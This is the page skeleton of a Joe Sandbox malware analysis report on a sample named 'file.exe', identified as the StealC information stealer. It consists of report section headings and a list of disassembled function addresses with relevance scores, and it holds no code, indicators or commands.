Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 005D9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 005C45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 005C4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 005D9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 005C6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 005D5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 005D17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 005D7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 005D69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 005C1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 005D6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 005C47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 005D51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON